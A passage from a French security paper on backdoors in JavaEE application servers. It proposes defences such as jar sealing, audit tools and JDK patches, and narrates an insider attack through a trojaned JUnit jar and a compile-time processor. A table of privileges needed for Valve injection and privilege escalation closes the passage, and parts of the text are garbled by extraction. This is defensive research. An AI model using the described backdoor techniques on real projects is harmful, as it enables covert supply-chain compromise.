Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

